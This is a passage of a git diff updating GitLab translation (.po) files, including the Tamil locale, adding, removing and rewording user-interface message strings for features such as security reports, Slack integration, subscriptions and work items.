@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39414,15 +40076,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39912,18 +40574,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40670,15 +41350,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42346,9 +43050,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44937,10 +45616,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47270,6 +47982,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr ""
@@ -47958,6 +48678,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49142,9 +49871,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/ta_IN/gitlab.po b/locale/ta_IN/gitlab.po
index e7f084b442a..c6096942752 100644
--- a/locale/ta_IN/gitlab.po
+++ b/locale/ta_IN/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ta\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:42\n"
+"PO-Revision-Date: 2023-01-10 06:46\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -750,6 +750,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -822,6 +825,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1116,11 +1130,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
